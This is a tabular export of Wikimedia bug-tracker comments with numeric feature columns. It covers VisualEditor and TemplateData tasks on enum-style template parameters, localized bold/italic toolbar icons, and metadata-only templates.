It also has the downside of having a ""param"" property (values) that only makes sense in combination with another. Making it slightly less intuitive.",,,1612418862,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,True,,,396,,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,1.0,0.0,4.0,4.0,0.0,2.0,0.0,4.0,0.0,10.0,10.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,2.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,1.0,8.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,10.0,10.0,0.0,0.0,5.0,0.0,10.0,0.0,1.0,2.0,1.0,2.0,2.0,0.0,0.0,3.7349397590361444,0.7469879518072289,"Yeah, we should add this. Though it doesn't have to be as a parameter type. I imagine we could also do it more generically.

``CODE`CODE`CODE``

And would treat them as type: 'string' with no further type association.

It also has the downside of having a ""param"" property (values) that only makes sense in combination with another. Making it slightly less intuitive."
434600,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","Yeah, we should add this. Though it doesn't have to be as a parameter type. I imagine we could also do it more generically.

 params: {
  ""key"": {
    ""type"": ...
    ""values"": [ .. ]

The upside is that this is easier to specify and validate.

An nice bonus is that it would allow one to preserve types regardless of whether the possible values are finite or not (e.g. freeform strings, numbers, dates, page names).

Down side is that it's tricky for consumers like VisualEditor to have a dropdown menu for values that aren't simple strings.

But I think that's fine. Those consumers can choose to support it however they like. E.g. they could support ""values"" only for string values.

As a nice bonus this would allow VisualEditor to make dedicated select interfaces much better. E.g. a colour picker with limited values could be a row with squares and you visually pick one of those colours (like radio buttons). And a parameter that takes file names (e.g. for icons), could have live previews for the 10 different icons it supports.

The type-restricted implementation would look something like this:

 params: {
  ""key"": {
    ""type"": ""options""
    ""values"": [ .. ]

And would treat them as type: 'string' with no further type association.

It also has the downside of having a ""param"" property (values) that only makes sense in combination with another. Making it slightly less intuitive.",,,1427614715,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,True,,,90,,0.25,0.25,0.0,0.0,0.75,4.5,2.0,0.0,0.25,0.0,2.5,1.25,0.0,1.0,0.0,1.0,0.0,5.0,8.25,0.25,1.5,0.25,0.0,0.0,0.0,0.0,0.0,0.0,1.25,1.0,0.0,4.5,0.75,2.25,0.25,0.25,0.0,0.0,0.0,0.5,0.25,0.75,0.0,1.25,0.0,0.5,0.0,0.5,0.0,14.25,1.25,1.5,0.0,0.25,0.25,0.0,0.0,0.0,0.5,0.25,0.5,0.5,0.0,0.75,0.0,0.5,0.0,3.5,2.0,5.0,1.25,1.5,5.75,0.0,0.0,0.0,0.0,4.25,0.5,0.5,0.0,4.5,8.25,0.5,0.0,5.75,0.0,4.5,0.0,0.75,2.0,0.25,0.75,1.0,0.0,0.0,3.7653765011359948,0.728537812398572,"Yeah, we should add this. Though it doesn't have to be as a parameter type. I imagine we could also do it more generically.

 params: {
  ""key"": {
    ""type"": ...
    ""values"": [ .. ]

The upside is that this is easier to specify and validate.

An nice bonus is that it would allow one to preserve types regardless of whether the possible values are finite or not (e.g. freeform strings, numbers, dates, page names).

Down side is that it's tricky for consumers like VisualEditor to have a dropdown menu for values that aren't simple strings.

But I think that's fine. Those consumers can choose to support it however they like. E.g. they could support ""values"" only for string values.

As a nice bonus this would allow VisualEditor to make dedicated select interfaces much better. E.g. a colour picker with limited values could be a row with squares and you visually pick one of those colours (like radio buttons). And a parameter that takes file names (e.g. for icons), could have live previews for the 10 different icons it supports.

The type-restricted implementation would look something like this:

 params: {
  ""key"": {
    ""type"": ""options""
    ""values"": [ .. ]

And would treat them as type: 'string' with no further type association.

It also has the downside of having a ""param"" property (values) that only makes sense in combination with another. Making it slightly less intuitive."
244445,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","Yeah, we should add this. Though it doesn't have to be as a parameter type. I imagine we could also do it more generically.

params: {
  ""key"": {
    ""type"": ...
    ""values"": [ .. ]

The upside is that this is easier to specify and validate.

An nice bonus is that it would allow one to preserve types regardless of whether the possible values are finite or not (e.g. freeform strings, numbers, dates, page names).

Down side is that it's tricky for consumers like VisualEditor to have a dropdown menu for values that aren't simple strings.

But I think that's fine. Those consumers can choose to support it however they like. E.g. they could support ""values"" only for string values.

As a nice bonus this would allow VisualEditor to make dedicated select interfaces much better. E.g. a colour picker with limited values could be a row with squares and you visually pick one of those colours (like radio buttons). And a parameter that takes file names (e.g. for icons), could have live previews for the 10 different icons it supports.

The type-restricted implementation would look something like this:

params: {
  ""key"": {
    ""type"": ""options""
    ""values"": [ .. ]

And would treat them as type: 'string' with no further type association.

It also has the downside of having a ""param"" property (values) that only makes sense in combination with another. Making it slightly less intuitive.",,,1400616112,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,True,,,46,,0.25,0.25,0.0,0.0,0.75,4.5,2.0,0.0,0.25,0.0,2.5,1.25,0.0,1.0,0.0,1.0,0.0,5.0,8.25,0.25,1.5,0.25,0.0,0.0,0.0,0.0,0.0,0.0,1.25,1.0,0.0,4.5,0.75,2.25,0.25,0.25,0.0,0.0,0.0,0.5,0.25,0.75,0.0,1.25,0.0,0.5,0.0,0.5,0.0,14.25,1.25,1.5,0.0,0.25,0.25,0.0,0.0,0.0,0.5,0.25,0.5,0.5,0.0,0.75,0.0,0.5,0.0,3.5,2.0,5.0,1.25,1.5,5.75,0.0,0.0,0.0,0.0,4.25,0.5,0.5,0.0,4.5,8.25,0.5,0.0,5.75,0.0,4.5,0.0,0.75,2.0,0.25,0.75,1.0,0.0,0.0,3.7590068159688412,0.7221681272314184,"Yeah, we should add this. Though it doesn't have to be as a parameter type. I imagine we could also do it more generically.

params: {
  ""key"": {
    ""type"": ...
    ""values"": [ .. ]

The upside is that this is easier to specify and validate.

An nice bonus is that it would allow one to preserve types regardless of whether the possible values are finite or not (e.g. freeform strings, numbers, dates, page names).

Down side is that it's tricky for consumers like VisualEditor to have a dropdown menu for values that aren't simple strings.

But I think that's fine. Those consumers can choose to support it however they like. E.g. they could support ""values"" only for string values.

As a nice bonus this would allow VisualEditor to make dedicated select interfaces much better. E.g. a colour picker with limited values could be a row with squares and you visually pick one of those colours (like radio buttons). And a parameter that takes file names (e.g. for icons), could have live previews for the 10 different icons it supports.

The type-restricted implementation would look something like this:

params: {
  ""key"": {
    ""type"": ""options""
    ""values"": [ .. ]

And would treat them as type: 'string' with no further type association.

It also has the downside of having a ""param"" property (values) that only makes sense in combination with another. Making it slightly less intuitive."
244441,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)",*** Bug 52754 has been marked as a duplicate of this bug. ***,,,1377830925,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52754 has been marked as a duplicate of this bug. ***
244435,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","(In reply to comment #2)
> Ping @TrevorParscal.
> 
> Since wikitext template editing will always be possible, we can't (yet?)
> enforce values in VisualEditor. We can only suggest.
> 
> E.g. if a template parameter ""foo"" is specified as values: ['a', 'b']. and
> wikitext has {{echo|foo=x}}, we need to provide a way to edit that, while
> still
> being able to set it to a or b.

The ""normal"" way is a drop-down with the target of the drop-down being a free-entry text field that suggests entries (but does not block other entries).",,,1377657781,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,2.0,5.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,3.0,17.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,6.0,11.0,0.0,3.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.171875,0.59375,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The ""normal"" way is a drop-down with the target of the drop-down being a free-entry text field that suggests entries (but does not block other entries)."
244428,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)",*** Bug 50760 has been marked as a duplicate of this bug. ***,,,1377559681,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50760 has been marked as a duplicate of this bug. ***
244420,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","Ping @TrevorParscal.

Since wikitext template editing will always be possible, we can't (yet?) enforce values in VisualEditor. We can only suggest.

E.g. if a template parameter ""foo"" is specified as values: ['a', 'b']. and wikitext has {{echo|foo=x}}, we need to provide a way to edit that, while still being able to set it to a or b.",,,1377559666,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,1.0,1.0,2.0,2.0,0.0,0.0,1.0,4.0,6.0,0.0,1.0,0.0,4.0,0.0,6.0,12.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,6.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,5.0,12.0,4.0,1.0,7.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,3.2705882352941176,0.7294117647058823,"PingSCREEN_NAME.

Since wikitext template editing will always be possible, we can't (yet?) enforce values in VisualEditor. We can only suggest.

E.g. if a template parameter ""foo"" is specified as values: ['a', 'b']. and wikitext has {{echo|foo=x}}, we need to provide a way to edit that, while still being able to set it to a or b."
244412,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","See ""bug 50760 - Support suggested values"" which is quite similar.

https://bugzilla.wikimedia.org/show_bug.cgi?id=50760",,,1373968381,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8125,0.9375,"See ""bug 50760 - Support suggested values"" which is quite similar.

URL"
53330,VisualEditor: Set i18n toolbar icons for bold/italics,"Forked from T53314#557160 (bug 51314 comment 2):

The following should be set to use B/I, rather than the generic:

* cs Czech
* he Hebrew
* pl Polish

The following should be set to use F/K, rather than the generic:

* da Danish
* no Norwegian (and nn?)
* sv Swedish
",High,80.0,1373840940,1373918452.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-67oipsmostyhug2737rz,task_description,resolved,True,c1,3,True,False,True,1,,0.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,8.0,0.0,3.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,19.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,1.0,8.0,16.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.095890410958904,0.6301369863013698,"Forked from T53314#557160 (bug 51314 comment 2):

The following should be set to use B/I, rather than the generic:

* cs Czech
* he Hebrew
* pl Polish

The following should be set to use F/K, rather than the generic:

* da Danish
* no Norwegian (and nn?)
* sv Swedish
"
241917,VisualEditor: Set i18n toolbar icons for bold/italics,This is now done; we'll deploy this within the hour.,,,1373918452,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-67oipsmostyhug2737rz,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3076923076923075,1.0,This is now done; we'll deploy this within the hour.
241914,VisualEditor: Set i18n toolbar icons for bold/italics,"Change 73850 merged by jenkins-bot:
Set bold/italics icons for cs/he/pl; da/no/nn/sv

https://gerrit.wikimedia.org/r/73850",,,1373918327,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-67oipsmostyhug2737rz,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,7.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.9,0.8333333333333334,"Change 73850 merged by jenkins-bot:
Set bold/italics icons for cs/he/pl; da/no/nn/sv

GERRIT_URL"
241910,VisualEditor: Set i18n toolbar icons for bold/italics,"Change 73850 had a related patch set uploaded by Jforrester:
Set bold/italics icons for cs/he/pl; da/no/nn/sv

https://gerrit.wikimedia.org/r/73850",,,1373916753,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-67oipsmostyhug2737rz,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,15.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.242424242424242,0.8484848484848485,"Change 73850 had a related patch set uploaded by Jforrester:
Set bold/italics icons for cs/he/pl; da/no/nn/sv

GERRIT_URL"
53322,VisualEditor: Handle 'meta' templates better,"Some templates are only used to include metadata, e.g. categories. In this example http://en.wikipedia.org/w/index.php?title=Ashton_Agar&oldid=564224425&veaction=edit the document starts with two such categories, producing linebreak characters, with templates spanning 0 characters in between (accessible still be cursoring). An uninitiated user may just decide to delete this whole line at the the top, thus removing the hidden templates.

Perhaps we need to detect if a template contains no meaningful content and then move it into the metadata so it can't be accidentally deleted. We'd also need a UI for editing them though.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51420",High,80.0,1373810580,1374676752.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-faltfztxkqc5daxcntnx,task_description,resolved,True,c1,3,True,False,True,1,,0.5,0.0,0.0,1.5,1.0,4.5,0.0,0.0,1.0,1.0,2.0,1.5,0.0,0.5,0.0,1.5,0.0,7.5,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.5,3.0,1.5,1.5,0.0,0.0,0.0,0.0,0.5,1.5,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.5,0.0,1.0,0.0,0.0,0.0,5.0,1.5,8.0,1.5,1.0,7.0,0.0,0.0,0.0,0.0,5.5,0.0,1.0,0.0,4.0,8.0,1.5,0.0,0.0,0.0,4.0,0.0,0.0,2.0,1.0,3.0,0.0,0.0,0.0,4.186480186480186,0.7325174825174825,"Some templates are only used to include metadata, e.g. categories. In this example URL the document starts with two such categories, producing linebreak characters, with templates spanning 0 characters in between (accessible still be cursoring). An uninitiated user may just decide to delete this whole line at the the top, thus removing the hidden templates.

Perhaps we need to detect if a template contains no meaningful content and then move it into the metadata so it can't be accidentally deleted. We'd also need a UI for editing them though.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
241551,VisualEditor: Handle 'meta' templates better,Additional issue with empty HTML elements produced by templates (which are used for metadata) in bug 52551.,,,1375720301,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-faltfztxkqc5daxcntnx,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.55,1.0,Additional issue with empty HTML elements produced by templates (which are used for metadata) in bug 52551.
241545,VisualEditor: Handle 'meta' templates better,Fixed and will get deployed in a few minutes.,,,1374676752,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-faltfztxkqc5daxcntnx,task_subcomment,,True,c1,3,True,,,3,,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.7,1.0,Fixed and will get deployed in a few minutes.
241538,VisualEditor: Handle 'meta' templates better,"Change 75331 merged by jenkins-bot:
Handle meta-only transclusions as meta items

https://gerrit.wikimedia.org/r/75331",,,1374676162,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-faltfztxkqc5daxcntnx,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.368421052631579,0.8947368421052632,"Change 75331 merged by jenkins-bot:
Handle meta-only transclusions as meta items

GERRIT_URL"
241530,VisualEditor: Handle 'meta' templates better,"I marked this as a dup of bug 49806, not dup of 51420.",,,1374604232,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-faltfztxkqc5daxcntnx,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.8,0.8666666666666667,"I marked this as a dup of bug 49806, not dup of 51420."
241522,VisualEditor: Handle 'meta' templates better,"Change 75331 had a related patch set uploaded by Esanders:
Handle meta-only transculsions as meta items

https://gerrit.wikimedia.org/r/75331",,,1374586930,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-faltfztxkqc5daxcntnx,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.590909090909091,0.9545454545454546,"Change 75331 had a related patch set uploaded by Esanders:
Handle meta-only transculsions as meta items

GERRIT_URL"
241514,VisualEditor: Handle 'meta' templates better,This is not the same as bug 51420. This specifically concerns templates which only produce 'metadata' in the VE-data-model meaning of the term.,,,1374586909,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-faltfztxkqc5daxcntnx,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,3.0,10.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,6.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.903225806451613,0.8064516129032258,This is not the same as bug 51420. This specifically concerns templates which only produce 'metadata' in the VE-data-model meaning of the term.
241505,VisualEditor: Handle 'meta' templates better,"

*** This bug has been marked as a duplicate of bug 49806 ***",,,1374447614,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-faltfztxkqc5daxcntnx,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 49806 ***"
